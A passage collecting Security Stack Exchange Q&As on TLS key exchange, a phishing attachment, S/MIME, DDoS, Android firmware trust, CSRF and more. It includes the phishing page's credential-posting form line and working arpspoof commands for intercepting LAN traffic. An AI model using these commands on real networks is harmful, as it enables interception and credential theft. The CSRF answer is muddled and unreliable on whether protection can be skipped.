Modify this to: print_status("Uploading #{payload_filename}...")
Save
Exit msfconsole
Make sure to run 'reload-all' after restarting
msfconsole

Then it worked for me, although I had to restart msfconsole a couple of times before the change came through. Let me know what it says.


Why use a separate key exchange method like DH during the TLS handshake Ok first off I'm very familiar with the TLS handshake, the purpose of PKI and key exchange methods.

My question is why use a complicated key exchange method like Diffie Hellman when the client could just create a random symmetric key and encrypt it using the servers asymmetric public key? Since the server is the only one who can decrypt it (using its private key) then there is no concern of a Man In The Middle attack and you've securely exchanged the symmetric key.

I'm sure there is a reason for complex key exchange methods I just can't see it.

... when the client could just create a random symmetric key and encrypt it using the servers asymmetric public key?

What you are describing is essentially RSA key exchange which is also available, at least until TLS 1.2. The problem is that this kind of key exchange provides no forward secrecy, i.e. if the attacker manages to get the private key of the server he can extract the symmetric key from the key exchange to this server and can thus  decrypt any previously sniffed traffic to this server. Contrary to this DH results in a key which is not associated with the servers key or any other static secrets  and thus provides forward secrecy.

Even if the attacker has access to the private key and only wants to sniff the current connection DH makes it harder. With DH key exchange the attacker needs to be in the middle, i.e. must create a TLS connection between client and attacker and another one between attacker and server, both using the same certificate and private key so that the victim does not notice. Depending on the position of the attacker in the network this active attack can be easy or not. Also, active MITM is not possible if the client is also using a certificate (mutual authentication) unless the attacker also has access to this certificate. With RSA instead the attacker only needs to passively listen to the direct connection between client and server in order to decrypt it and can do this also when client certificates are involved.


Got a spam mail with an htm attachment, is the script harmful? Today I got an email with an htm attachment,
the mth contains the below code:

<html>
    <head>
        <script>
            var url = ""
            window.location.href= url;
        </script>
    </head>
</html>

The url variable was assigned a huge value of 247251 characters, I feel those are somewhat garbage characters just to increase the length of the URL.

I intentionally did not write the url contents just to avoid I am not exposing any security threat to others. Here is the pastebin of the garbage I'm referring to.

If I open this in any web browser what all harm it can do ?

What is it?

I decoded your "garbage." This is base64 encoding, and is far too large to place here. Here's the decoded result: http://pastebin.com/NBV4iY2s

This seems to be an attachment of login page for Google Drive. In fact, everything is lifted from Google Drive, with the exception of a few items.

This is a phishing attempt.

As you can see from line number 2642, it's actually trying to send the data to a web server in Russia:

<form action="hxxp://www.gladiolusfashion.ru/js/fancybox/country.php" id="signup" method="post" name="signup">

It's basically just trying to steal your Google account details. This is a run-of-the-mill phishing attempt.

However, there's another potential issue: an image hot-linked from the U.K:

Confirm your identity.

What that likely does is alert the owner of that website that an attempt was made to access that particular image. If the owners of those websites are the same, then your IP address and access attempt could then be logged. This could help them to determine the effectiveness of their phishing attacks. "How many people view this vs. how many fall for it?"

It's also possible that the web server for the images were also compromised. It may either be compromised, or just hot-linked. It's difficult to tell.

At the top, to avoid alerting Google's hot-link phishing detection, the phishers had no choice but to hot-link to a free icons website to give it the appearance of legitimacy. You can see this on lines 2585 and 2586:

<link rel="shortcut icon" href="hxxp://icons.iconarchive.com/icons/marcus-roberto/google-play/512/Google-Drive-icon.png">
<link rel="apple-touch-icon" href="hxxp://icons.iconarchive.com/icons/marcus-roberto/google-play/512/Google-Drive-icon.png">

Finally, when you submit data, it sends you to a fake page saying that the requested file doesn't exist. (pastebin)

TL;DR Breakdown

This phishing attempt is trying to do a few things:

Upon opening the attachment, it will attempt to redirect you to a page with a fake Google Drive login, and try to trick you into entering your credentials.
If you were dumb enough to enter your credentials, they will be submitted to a php script located on a server in Russia.
Once submitted, you will receive a fake login page (pastebin of this) telling you that the file doesn't exist.

Conclusion

Don't bother opening it. It's trying to get you to enter your credentials.


Is there any point in using PGP or S/MIME when your receipients mostly don't use it? For an company with sensitive customer relations and above average secrecy how much does it make sense to implement S/MIME or PGP for providing their E-mails the verification functionality (please correct me if I'm wrong), which most E-mail clients to my best of knowledge support, even though the contacts of the company usually don't use any kind of E-mail encryption.
Use cases: internal communication (not that much) and mainly external communication.
One of the main concerns would be to prevent E-Mail Spoofing, yes.

... company with sensitive customer relations

Given that many common mail clients support at least S/MIME by default, it actually makes sense to use it. This means that mails should at least be signed by S/MIME. Signing does not cause any problems when mail clients do not support it, but provides solid sender authentication for S/MIME capable clients and thus additional protection for customers against mail spoofing. To make it easy for customers the signing certificate should be issued by a public CA though, which is already trusted by the client.
One might argue that DKIM together with DMARC provide similar protection. But in practice support for these is less common in mail clients, which means that the client must rely on their mail server to properly check both - and most actually don't. Also DKIM+DMARC only cares about the sender domain and not the actual sender. But it makes sense to use DKIM+DMARC in addition to S/MIME signing.
Using PGP instead does not make that much sense. Contrary to S/MIME PGP does not rely on a central PKI and thus there is no easily established trust relationship to the sender. Instead each customer would need to be explicitly trust the senders key, a concept many customers will not properly understand.
For more sensitive B2B communication it makes also sense to not only sign the mails but also encrypt it. There are several mail gateway products which offer centralized automatic S/MIME handling for such use cases so that the whole process is mostly transparent to the employees.


Is an anonymity network like Tor viable on top of the GPG web of trust? The web of trust is a graph where the vertices are GPG users (actually, their keys) and the edges are cross-signatures. If we put issues of owner trust aside and assume that all participants only sign after checking the key fingerprints, I can trust a key that has a path between me and the key in the web of trust graph.

If I write an email to someone in the web of trust, I can therefore encrypt the message and keep the content of the email private. I can't hide the metadata of the mail, though: An eavesdropper will still find out when I sent a mail and to whom. Metadata tells a lot about people, and there have been astonishing (not to say, frightening) achievements of guessing people's gender, sexual orientation, income, etc. to a high probability with telephone metadata. (I don't know whether studies have been done with email metadata, but I'd expect similar results)

The question is: How can we hide metadata even in client-encrypted emails?

I propose the following protocol on top of GPG, inspired by Tor:

I want to send an email to Charlie.
I look for a path through the web of trust from me to him, of minimum length, say, 3. Let's assume it goes through Alice and Bob.
Now the multiple encryption step:

I encrypt the mail with Charlie's key.
Then I encrypt the already encrypted mail and Charlie's address with Bob's key.
Then I encrypt all that and Bob's address with Alice's key.

The sending unwraps everything in the opposite order:

I send all I got from the last encryption step to Alice.
Alice decrypts, sees Bob's address and sends everything she decrypted to Bob.
Bob decrypts once more and sends everything to Charlie.

Finally, Charlie decrypts for the last time.

If I haven't got anything wrong, this has the following properties:

Only me and Charlie know the contents of the mail.
Only me, Charlie and Bob know the final recipient of the mail.
Only me, Charlie and Alice know the sender of the mail.

Is this working? Is it viable? Why don't we send emails that way?

A few possible downsides might be:

Someone in the chain might not be online. It might then be clever to send the message along multiple paths.
Network traffic increases.
If an eavesdropper carefully analyses every sent email from me, Alice, Bob and Charlie, they might notice that Alice sends an email to Bob shortly after I write to her, and so on, tracing the mail to Charlie. How much more resources does this need? Is delaying the emails by a short time (say a few minutes) an effective and acceptable countermeasure?

The obvious problem with this is that there is no reason why someone would be willing to act as a mail forwarder just because they are in the PGP web of trust.  I have a well connected key and don't plan on becoming your e-mail provider.

Sending messages via Tor, as suggested in the comments, is also unlikely to work as Tor exit nodes are highly likely to be blocked as an anti-spam measure and most exit nodes won't include port 25 in their exit policy anyway.

What you are suggesting, with the minor change that particpants have to opt into being forwarders, is essentially the Mixmaster network.  The list of remailers isn't very long but nothing stops you joining the network.

Mixmaster software


DDOS Server Attacks & Domain Names I'm currently with a web hosting account whose servers seem to be constantly down due to DDOS attacks. I check my analytics daily and I'm seeing a major surge in fake traffic for several of my URLs totaling around 60 visits a day per site. Most of these are from Russia and through sources such as buttons-for-websites.com and other usual suspects.

So due to my frustration at never being able to connect to my own website I'm seriously considering moving to another host, but I'm assuming that because these spammers have my URL, they will keep hitting my site no matter what server I'm on, correct?

If so, I'd consider purchasing a new domain name when moving servers, but what steps should I take to prevent these unwanted visitors?

Full disclosure, I work for a DDoS mitigation company protects companies against DDoS attacks.
A few ways you can dodge DDoSers can be through blocking the attackers by IP or country. Blocking by IP will block access from those specific attackers, so long as they're trying to access your site via that IP, they will be blocked. Blocking by country can also be useful if you know you don't do business with certain countries. According to Incapsula's recent DDoS Report, most attacks can be routed or sourced through China or Russia. If you know you don't serve those countries, you may be better off to block them.
Most attacks are sourced through Botnets, or a number of computers that are hacked and used to attack your website. Slowing down your website will do nothing to deter them because they're bots, they don't care. Your users will notice and they will be pissed though so it's best not to do that.
I recommend adopting a service like Incapsula. You can block bots under a certain point.
Hope that helps!


Connection not secure when using a proxy I connect to the Internet using a proxy at my university residence and I noticed at some sites (like my bank and PayPal), the browser reports that:

it's unable to check if the website certificate has been revoked
the encryption is using an obsolete cipher suite

I've checked the same sites on different networks, but there is no such issue. I spoke to someone in charge, who say that it happens for some sites sometimes when behind a proxy. I don't believe that, but I do not know enough to call it out. Also sites like GMail and Outlook don't have such issues.

Is this true? If not, how can I check if indeed my connection is being compromised.

Your school may be one that employs a MITM-style SSL inspection. In the InfoSec community, this is highly frowned upon. In corporations it is expected. The normal purpose for this type of technology is for DLP inspection. There generally is not a reason for the school to be doing this.

The best way to troubleshoot this issue is to navigate to one of the affected pages and look at the certificate chain. The certificate chain should consist of an outside CA (Internal CA's are redflags that your data is being decrypted). I would then take that certificate chain and compare it to a computer outside the school's network. If they match, it may be another issue at hand (Such as revocation lists being blocked by the proxy). Otherwise, it's wise to use a VPN connection to protect your data when you are on the school's network.


Refusal to 'open' up corporate network? I am working a project which requires access to a service running on a remote server, over a single TCP port (>1024). This service runs on a machine located within an existing network, and the project I'm working on is located on a new (web) server, external to this network.

It was agreed up front that for this project to work the port must be opened up to the new server, however the IT team have now decided the security risk is too great to 'open up' their internal network.

They justified this to me by saying if the new server is compromised it could allow an attacker into the internal network. But would this not be mitigated by only allowing access on a single port, to a single machine in the network? This would be done through a firewall/NAT system outside of either server's control.

I understand that the internal service then becomes the attack vector but I would argue that it's designed to be public facing anyway, so at this point their justification falls down.

I am not a security expert by any means, so what could the problems be here that I am missing? (and they are not explaining)

You are essentially asking to allow access from outside to some internal system, i.e. a system which is in the same internal network with other machines where access to these machines should not be allowed from the outside.

If an attacker manages to break out of your application due to some security issue it means that the attacker can now access and attack all the other machines in the local network. Because of this it is quite understandable that IT team does not want to allow this kind of access.

  But would this not be mitigated by only allowing access on a single port, to a single machine in the network?

Access to this specific port is enough to break out of your application if the application is insecure. It does not protect against attacking the rest of the internal network from the compromised machine.

  ... but I would argue that it's designed to be public facing anyway, so at this point their justification falls down.

Public facing services should be put into a separate network zone (DMZ) where they are reachable from the outside but have no access to the internal network. This way the impact of a compromise is reduced to this separate zone but cannot affect the internal network.


Why there are some weird requests to my web hosting I was doing my plesk hosting logs checking for web and database development. Somehow, I had seen some weird ip trying to communicate to hosting. Wonder what is the purpose of these anonymous requests. Should I just ignore them as they are common issue happening around?

Thanks in advance. P/S: This website still in development stage, should be no one knowing this website address.

I'm not going to say "ignore them entirely", but this is pretty common.

They're automated scans for logins - basically, anyone and their dog/cat/cow/python/rat can scan a site for common login URLs. If the scan finds them, then they'll usually probably try following up with credential stuffing attacks (i.e. using username/password combos that are either known defaults such as admin/admin or come from a data breach).

The best way to prevent those from succeeding is to not use weak username/passwords (using a password manager - nothing else is really practical), and enable two-factor authentication if Plesk allows that.


Payment processing in Android Assume that my company is PCI DSS complaint. I want to provide a custom view (in SDK library for Android) for payment processing to merchants who sell products via their Android mobile application.

The main goal is to make payment without giving access to merchant on payment details: card number or CVV.

My view will have inputs for the card number, expire date and CVV, but mobile payments SDK should make the card data unreadable for merchant APP. All this is explained here.

If I create a custom view for this task in the SDK library, how can I make sure, that a dishonest merchant won't unwrap my library, rewrite it and catch my payment calls to web service and log security data in his database.

How can I make sure, that calls to my payment web service are really made from my custom view?

This highly depends on the adversary you are proposing.

If by “unwrapping” you mean disassemble and patch, then you got yourself a threat model you can not defend against and here is why:

If you suppose they can disassemble and patch your code, they can basically do whatever they like - after all, it’s their application and they then use their own code that only appears to be yours.

Additionally, any secret you might use to verify a request came from a valid SDK instance (for example request signing) can be reverse engineered by such an adversary.

All in all, it’s the merchants application and they can run whatever code they like and it’s the consumers device you have no control of it’s running on.

This - by the way - is the reason that apps for payment are either from the operating systems vendor or a separate application that is linked to within the vendors app (for example Apple Pay, google wallet, PayPal).

Additionally, just to be clear: rooted devices might very well be used to dump all data in memory, thus there is no complete security.

Also noteworthy: any communication with your back end should be TLS-secured, including certificate pinning within the app to counter any MITM attacks.

Implementation details are off topic here and I will not cover them - you might have better luck with that on SO.


SSL cert vs public-key authentication If SSL/TLS uses a pre-created  certificate why does it also use public-key ciphers such as RSA and ECDSA for authentication (I do not mean MAC integrity)? Are they related?

The key in a TLS certificate is for a public-key cryptosystem. This is because the same key is sent to every client, and sending out a secret key to anyone who asks is not considered a viable security strategy by most experts.

The reason the certificate is signed with a public-key algorithm is that there's otherwise nothing stopping an attacker from pretending to be the real site, and giving you their public key. So, you want to make sure the public key is the correct one, which you do by verifying that it's been approved by someone you trust. This is the exact use-case for digital signatures, so they're used to verify the certificate.

The public key in an X.509 certificate is normally a public key for a signature algorithm, to sign data and (if the certificate is a CA certificate) to sign other certificates. In TLS, it can also be an encryption/key-exchange algorithm public key; the most common is an RSA public key, which can be used for both. In RSA-based cipher suites, this is used for key exchange. In DHE/ECDHE cipher suites, it's used in key exchange by verifying a temporary Diffie-Hellman key signed with the associated private key. Regardless, the end effect is the same: the public key in the server cert is for key exchange, and in CA certs is for certificate signing.


The NSA circumvents encryption and how would I protect myself from these type of attacks? For the sake of this question, assume that I am security conscious to the point of paranoid.

I am concerned that older versions of GnuPG may be compromised due to RSA encryption keys because of known attacks on RSA before. I have done some research and I have listed my research down below.

In August 2007, Dan Shumow and Niels Ferguson of Microsoft showed
that the constants could be constructed in such a way as to create a
kleptographic backdoor in the algorithm.
In 2013, Reuters reported that documents released by Edward Snowden indicated that the NSA had paid RSA Security $10 million to make Dual_EC_DRBG the default in their encryption software, and raised further concerns that the algorithm might contain a backdoor for the NSA.

Doing one exploit or attack may not be enough so the NSA will have to use multiple exploits at once.

By using zero days in web browsers to execute complex arbitrary code to install kleptographic random number generators without the owner realizing the attack.
After NSA has installed the backdoor, the victim's internet pattern is recorded and analyzed by a remote complex system that knows when the user will communicate with other contacts which by then snatches the encrypted information that has been encrypted with the encryption key that was generated by the kleptographic R.N.G. and immediately sends the decrypted information to a remote location where it can be read.
The NSA circumvented encryption such as SSL and RSA. What I found interesting was that the NSA may have been planting backdoors in random number generators with a special algorithm that can automatically decrypt encrypted messages. The goal is to not fight the encryption head on because the NSA doesn't have the resources or time to do so, but to fight the encryption asymmetrically. They do this by exploiting weaknesses in encryption programs such as the heartbleed bug before it was even known the NSA has been (allegedly) hiring top cryptanalysts and hackers to find bugs in software that can be exploited with a zero day that only the NSA knows to circumvent encryption.

If we assume that the NSA will perform the above attacks, what countermeasures could I use to protect myself?

Once a well-funded and knowledgeable attacker has exploited a 0-day to install arbitrary code on your computer, it is game over. There's no way to defend against that. The only defenses are to make sure that such an attack is not possible (very difficult) or ensure that no harm comes from such an attack (ie: that computer never handles sensitive data).

This leads to the awkward strategy of having an air-gapped computer that you use for encryption and decryption and another computer that you use for communication. You would use PGP on the air-gapped computer to encrypt/decrypt and move your data to/from the networked computer for transmission. Sending data in this manner is relatively simple. Just put the encrypted data on a DVD and move it to the networked computer.

Moving received data from the network computer to the air-gapped computer would have to be done in a way that would ensure that the air-gapped computer can't be hacked. This means that you probably should't use something like a USB or DVD as you can't trust them to be secure as the networked computer may have been hacked and use the USB/DVD to infect the air-gapped computer. Perhaps printing out the data from the networked computer and then using OCR to import it to the air-gapped computer?

The above notwithstanding, I think the best solution is to make yourself uninteresting to the NSA.


ARP Spoofing - Not Receiving Internal Traffic I am attempting to perform a MITM attack via ARP spoofing to sniff out the traffic from 10.0.0.54 to 10.0.0.55. Here is my setup:

echo 1 > /proc/sys/net/ipv4/ip_forward
sudo arpspoof -i wlan0 -t 10.0.0.54 10.0.0.1
sudo arpspoof -i wlan0 -t 10.0.0.1 10.0.0.54

My knowledge is that this captures all traffic from 10.0.0.54. However, based on my analysis of tcpdump, I am only capturing external traffic (any public IP addresses) and not capturing any internal traffic (private IP addresses).

Can someone tell me why this would be the case? Should I send my ARP requests elsewhere?

Since you want to capture data between two devices that exist on the same network range
'i.e. 10.0.0.0', you don't need to spoof the router.

Your Mitm attack should take place between the two devices because the data flows directly from one device to another when you're on the same network
 and doesn't go to the router (of course there are few exceptions).

So, you need to modify your commands to the following:

echo 1 > /proc/sys/net/ipv4/ip_forward
sudo arpspoof -i wlan0 -t 10.0.0.54 10.0.0.55
sudo arpspoof -i wlan0 -t 10.0.0.55 10.0.0.54

if you have further issues, please update your question.


How does Windows 8's Microsoft Account authentication work? One of the new features to Windows 8 is the ability to log in to your PC using your credentials from a Microsoft Account. How is this implemented, and what steps are taken to prevent hijacking of credentials in transit, falsified authentication or other such MITM attacks?

I'm presuming SSL or another encryption & authentication scheme used, but I can't find any details about what that includes, and how far MS have gone to prevent (for example) SSL & DNS poisoning.

Edit: RE SSL - what's to stop a SysAdmin adding a fake certificate for live.com to Windows' trusted public keys, running a server with the matching fake private key, and using DNS to redirect authentication requests?

Windows uses a Credential Provider and a SSPI to provide the functionality. The SSPI communicates via web service to the Microsoft endpoints. The endpoints are configured by storing them in a code-signed DLL that gets pushed down via Windows Update. The SSPI will load up the DLL, verify its code signed by Microsoft, and parse out the necessary endpoints.

When the SSPI connects to the endpoints it compares the SSL certificate to a value stored in the configuration DLL. Not sure if its just subject comparison or if they've doing key comparisons, but if the comparison fails for whatever reason the request is rejected.

Further, the process is protected by a client secret. The credentials sent to the endpoint are encrypted using a local secret that the Microsoft endpoints know. Not sure if its a symmetric key or an asymmetric key. Asymmetric key might be more likely though. This key is shared during the bootstrapping process that occurs when you register the computer as Live ID enabled.

For added measure, the way it does SSO into Live-enabled sites is by storing a cookie with a short lived token in it for one of the Live ID domains. Once a user has been authenticated by the SSPI, a request is sent to another web service to get a device token. The service is authenticated by a federated trust to Live ID. If you have a token from Live ID that is issued to your device, you can call this service to get another token. This device token is serialized to some particular format and written to a cookie within the users Windows session. Next time the user browses to a Live ID site the cookie will be present, validated, and you won't be prompted for credentials. There's a bit more to it than this, but that's the gist of the process.

So with regard to spoofing or tampering, Microsoft uses the certificate pinning to prevent MITM, and uses a shared secret to prevent unauthorized clients from making authentication requests.

Edit: If the proper certificate is not in the DLL then the request will fail. An admin could spoof the DLL but they'd need to sign it with Microsoft's code signing keys, and well, bigger issues and all that if they could do that. If the admin acquires the shared key somehow then they could spoof a request using your token, but that means they have to acquire the token some how, which is made significantly more difficult given the certificate pinning. At that point it might just be easier to install a fake Credential Provider and collect the credentials.


Is my password visible on an SSL/TLS connection across unprotected wireless? If I am using an insecure wireless network that has no security protocol at all and trying to connect to my encrypted online banking website, can an attacker who is sniffing the wireless network sees my password in this case?

If my connection to the website is encrypted using SSL/TLS then how can an attacker see it?

If the encryption to the banks web site is encrypted end-to-end with TLS they cannot sniff the secret. But

The attacker could use tools like sslstrip to downgrade you to plain text. If you are not aware about you might not notice. There are ways for the bank to enforce HTTPS like with using HSTS, but it is not supported by all browsers and not all banks use it.
The attacker could mount a man-in-the-middle attack. If you are used to click through any warnings about bad certificates you might not notice that the connection is not connected end-to-end to the bank but that there is an attacker in between reading (and modifying) all the data.
The attacker could infect your computer by other means like by injecting malware into the normal unencrypted HTTP traffic, similar to how some ISP inject ads into the traffic. And once the attacker has compromised your computer no TLS will help you because the attacker can inject directly into the browser and deal with the unencrypted traffic, install keyloggers etc.

Please note that these attack vectors do not necessarily vanish if the WLAN is encrypted. The WLAN could be created by the attacker itself, maybe by using a name usually associated with trusted providers. Or the existing WLAN router could be hacked by the attacker, since common SoHo routers are often vulnerable to various attacks.


Chrome Smart-Lock how weak is it? I am very disconcerted with the Smart-Lock from Chrome. It seems any application installed on my Windows can access ALL my password in a snap.

I have installed True Key to test the application. I was hoping the application was offline, but it is not. Just for the record I tried to "import all logins from Chrome". I didn't have to go through Windows UAC, and True Key just got all my passwords.

I am very worried about this system and I don't understand how is it possible that people use that kind of system.

What do I misunderstand about security?

Chrome offers the ability to auto-fill passwords without you as a user having to enter any kind of authentication other than being logged onto the machine. This means it has to have all of the information required to access the stored passwords while running in that context.

This means that any other applications running in that context (under your user account) can also access that information.

The only thing Chrome can do is use Operating System level protection to stop other users reading your data. Under windows it uses the CryptProtectData function. This encrypts the data with your windows user credentials - including your password. If you forget your password then the data is unreadable - even if an administrator resets it (although with chrome passwords they are backed up online and would be recovered next time you logged into it with your google credentials).

  What do I misunderstand about security?

Any software running on your system under your own user or an administrator should be assumed to have access to everything that you do. If it couldn't read the password out of the password store there are numerous other ways to get it. From the clumsy (start chrome, point it to chrome://settings/passwords and read them out of the UI) to pulling either the passwords or the Google API key out of chromes memory while it is running or injecting a fake root certificate and man in the middle-ing a connection to the website where the password is sent.


Java Deserialization issue I have been reading about the Java deserialization vulnerability which leads to Remote Code Execution attack. Many public exploits are even available to do the attack.

I didn't find any tutorial describing on how does an attacker exploit the vulnerability. If I make a deserialization program, then how can I exploit it to perform RCE?

I suggest you look at the public exploits to learn how they exploit the vulnerability and then ask a more specific question about anything you don't understand.

As a place for you to start, somebody made a page on github that summarizes all the talks and guides.  The published exploit of OpenNMS using ysoserial is about as simple as you are going to get.


Key wrapping vs RSA encryption? I've done a quick search and the topic doesn't seem to have come up before.

My question is prompted by the presence of wrap/unwrap functions in Azure (https://msdn.microsoft.com/en-us/library/dn878066.aspx).

The description Microsoft provide of the wrap operation is as follows :

  The WRAP operation supports encryption of a symmetric key using a key encryption key that has previously been stored in an Azure Key Vault.

However, at the same time, they also provide "standard"  encrypt/decrypt API operations.  And, of course, I can also take the public key and encrypt my self locally.

So the question is what is the benefit of opting for wrap over RSA encryption and when would I want to choose one over the other?

My use-case is creating and protecting a symmetric key for AES encryption.

There are a few benefits of using RSA wrapping / unwrapping:

the key may be kept in a secure location during wrapping / unwrapping, e.g. in a HSM the data to encrypt is supplied from the host PC, but a the key to wrap as well as the unwrapped key may be kept within a hardware module or otherwise protected location (the application gets passed a handle instead of the key value in unprotected / user memory);
a specialized wrapping mechanisms may be used to provide additional security over standard modes of operation such as a block cipher in CBC mode;
for development: the returned key may already be cast to the correct type, alleviating the need for the developer / application to perform the marshaling to/from binary.

It seems Microsoft Azure is able to use FIPS validated HSM's, so above would all good reasons to use an explicit wrap/unwrap method. Even if no HSM is used at the time, using an explicit wrap/unwrap would at least prepare you for it.


Where are field names of decoded human readable X.509 certificates specified? The ASN.1 module for X.509 certificates as specified in RFC 5912 - Section 14 is as follows:
TBSCertificate  ::=  SEQUENCE  {
      version         [0]  Version DEFAULT v1,
      serialNumber         CertificateSerialNumber,
      signature            AlgorithmIdentifier{SIGNATURE-ALGORITHM,
                                {SignatureAlgorithms}},
      issuer               Name,
      validity             Validity,
      subject              Name,
      subjectPublicKeyInfo SubjectPublicKeyInfo,
      ... ,
      [[2:               -- If present, version MUST be v2
      issuerUniqueID  [1]  IMPLICIT UniqueIdentifier OPTIONAL,
      subjectUniqueID [2]  IMPLICIT UniqueIdentifier OPTIONAL
      ]],
      [[3:               -- If present, version MUST be v3 --
      extensions      [3]  Extensions{{CertExtensions}} OPTIONAL
      ]], ... }

The field names are the same in RFC 5280.
The decoded example certificate on the X.509 Wikipedia page however has completely different field names:
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            10:e6:fc:62:b7:41:8a:d5:00:5e:45:b6
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=BE, O=GlobalSign nv-sa, CN=GlobalSign Organization Validation CA - SHA256 - G2
        Validity
            Not Before: Nov 21 08:00:00 2016 GMT
            Not After : Nov 22 07:59:59 2017 GMT
        Subject: C=US, ST=California, L=San Francisco, O=Wikimedia Foundation, Inc., CN=*.wikipedia.org
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
                Public-Key: (256 bit)
            pub:
                    00:c9:22:69:31:8a:d6:6c:ea:da:c3:7f:2c:ac:a5:
                    af:c0:02:ea:81:cb:65:b9:fd:0c:6d:46:5b:c9:1e:
                    9d:3b:ef
                ASN1 OID: prime256v1
                NIST CURVE: P-256
        X509v3 extensions:
            X509v3 Key Usage: critical
                Digital Signature, Key Agreement

        ...

Signature Algorithm instead of algorithm, X509v3 extensions instead of just extensions.
Since the certificate has version 3, i would assume it doesn't have anything to do with the version...
Of course i searched for various field names like X509v3 Key Usage or X509v3 CRL Distribution Points but couldn't find any reference.
So where are the field names of the decoded human readable X.509 certificate specified or mapped?

The example from the Wikipedia page does not look like x.509 to me.  Rather, it looks like the way openssl displays certificate information.
Perhaps openssl is trying to display the certificate information in a way that is more human readable, and therefore the developers of openssl took the liberty of changing some of the field names in a way that they thought would be more descriptive (e.g. Signature Algorithm instead of algorithm, X509v3 extensions instead of just extensions, etc.).
If you run the command below, you'll see that the output produced is very similar to the example from Wikipedia that you posted:
echo | openssl s_client -connect wikipedia.com:443 2>/dev/null | openssl x509 -noout -text


Is CSRF possible in an SSR SPA with cookie authentication? I have a Single-Page Application, which is basically a consumer to my API which authenticates using the Authorization header. Now because I do server-side-rendering, I need to authenticate on the initial request, which means I need to use cookies to store the auth token.

Now as far as I understand, CSRF works like this in a typical website:

Find an endpoint that does something harmful like /delete-account which authenticates with cookies
In example.com, put a  (or whatever for a POST request)

However, to me, it looks like that it is impossible for CSRF attacks to happen in the case of an SPA, even if authentication token is sent as a cookie. The normal procedure is a bit like:

User visits a page, say /account
Server renders page as per the authenticated user (given the auth cookie)
Web page is returned
Now if the user wants to delete their account, they could press the button, which would send a request to the API that authenticates requests only by Authorization header

Now in a CSRF attack:

Server renders and returns webpage
Umm, nothing happens?

I mean I can't think of a way I can be vulnerable to CSRF in this situation, even if I use cookies for authentication, and as far as I understand, CSRF attacks can't scrape data out of web pages, so returning sensitive data shouldn't matter, as long as it doesn't trigger an action.

So my question is, is it fine to not implement any sort of CSRF protection in this case? I'm so afraid of having a security issue regarding that.

Now if the user wants to delete their account, they could press the button, which would send a request to the API that authenticates requests only by Authorization header

Ultimately, it sends a request to perform an action which needs to be authenticated somehow. And, since you're using Authorization header for authentication, it somehow prevents CSRF unless you're using HTTP Basic Auth or NTLM. These authentication tokens are sent in each request similar to cookies.

  I mean I can't think of a way I can be vulnerable to CSRF in this situation, even if I use cookies for authentication, and as far as I understand, CSRF attacks can't scrape data out of web pages, so returning sensitive data shouldn't matter, as long as it doesn't trigger an action

There are situations you might find yourself vulnerable to CSRF, here are few;

What if your server accepts any of two i.e. either cookies or token?

-> I had recently encountered the same. The application would either need cookies or auth token. Since, cookies are always sent, you're assumed to be authenticated and your request gets processed leaving you vulnerable to CSRF again assuming your application allows sending Authorization token from any domain.

What if your application leaks auth token which can be read cross-domain?

-> I have seen a number of apps fetching tokens from a predefined endpoint which somehow can be read crossdomain. Some possibilities are, JSONP, CORS, crossdomain.xml, JSON Hijacking, etc. This again leads to CSRF.

  even if I use cookies for authentication

That is always vulnerable, you just need to play with final request which is an API request in your case.

  So my question is, is it fine to not implement any sort of CSRF protection in this case? I'm so afraid of having a security issue regarding that

As a matter of fact, yes. Also, make sure you whitelist domains which can make request to your API and return Access-Control-Allow-Credentials: false.
This, in my opinion, makes it fairly safe against CSRF- considering points mentioned above.


Can an android phone that is flashed to a trusted safe rom still be malicious? I'm in the market for a new phone. The cheapest ones with decent specs are from China. Unfortunately I've read articles of phones sending data back to China for spying purposes.
The phone I am looking to buy is the Xiaomi Poco X3 NFC which has had their code open sourced https://github.com/MiCode/Xiaomi_Kernel_OpenSource/tree/surya-q-oss.
I will be flashing it to one of the most trusted sources either Pixel Experience or Lineage OS. Let's assume that neither of these are malicious.
Then my question is, is it possible, that despite me flashing the software to something safe, that it still is malicious? The reason I ask is because I'm wondering what happens if there is a malicious bootloader and a protected part of the memory or storage that isn't removed. Then the malicious bootloader could initially load this part of memory / storage and initiate something malicious (ie a program that sends data to china) and then proceed to load the custom image that I've flashed. Im trying to understand whether this is even technically possible. If it is, how would I know if this was happening? Since the code is open source, can I check what is on the phone matches the open source code? Does the open source code even matter if there is some hardware that acts maliciously before loading the rest of the software? What would be some clues this was the case (either that something malicious happens initially or that a part of memory / storage is reserved for something malicious)?

Custom ROMs only flash /system partition and reuse the same kernel that comes with the device. Kernel is part of boot.img in /boot. Sometimes /vendor partition is also reflashed with the custom ROM if the vendor image is patched by the maintainer but proprietary drivers and firmwares of OEM remain as it is. Other partitions like /radio, /odm and bootloader remain stock.
OEM can add spyware in any of these proprietary blobs to keep it persistent across custom ROMs. The source code they release is only of Linux kernel as required by GPL. Qualcomm also releases kernel source of their Snapdragon SoCs along with code of Hardware Abstraction Layer (HALs) on codeaurora forums (CAF). Some custom ROMs use CAF kernels and HALs released by Qualcomm. You can measure security of these public images but cannot be sure about security of what is already on your device.
Android bootloader (ABL) is protected by secure boot enforced by the SoC. Even if your blootloader is unlocked along with unlock_critical, ABL cannot be patched or replaced. A malware in bootloader can persist until end of life of the hardware. Supply chain attack tends to be stealthy because they pass signature verification on boot and their signed updates are trusted by the update manager. It comes down to who you trust. If you are trusting custom ROM, you have to trust OEM also.


What are the risks resulting from having a switch without strong access control directly facing the Internet? At home I have a connection to my provider via glass fiber that provides two VLANs: IPTV and Internet.

The structure of the network is exactly as shown in the following image, except for the phone connection, that I don't have. The router I use (in the image the one with antennas) is based on OpenWRT and kept updated.

As switch in front of the glass fiber I use a Netgear GS108Ev2 switch, that has no web access, but only access through the Netgear ProSafe utility with a simple password.

I set a password and I gave the router a static IP address in the local network, but I'm not aware of any setting that can restrict the access to the configuration to a specific VLAN, therefore I guess it would be possible to brute force the password from Internet and then change the IP settings of the router, to allow configuration via Internet side.

What are the risks I'm exposed to? Is there something malicious an attacker could do besides scrambling the settings and causing headaches/loss of service until I restore everything? I consider this alternative of no interest for attackers, especially since it requires brute forcing a password (assuming no other vulnerabilities in the router).

I think there are no workarounds, but please mention them, if they are simple (otherwise I'll open a new question). I also have a Netgear GS105E v2, in case it helps.

Your setup doesn't look unusual to me from a security perspective. At the end of the day something has to outward facing if you are connected to the Internet, right?

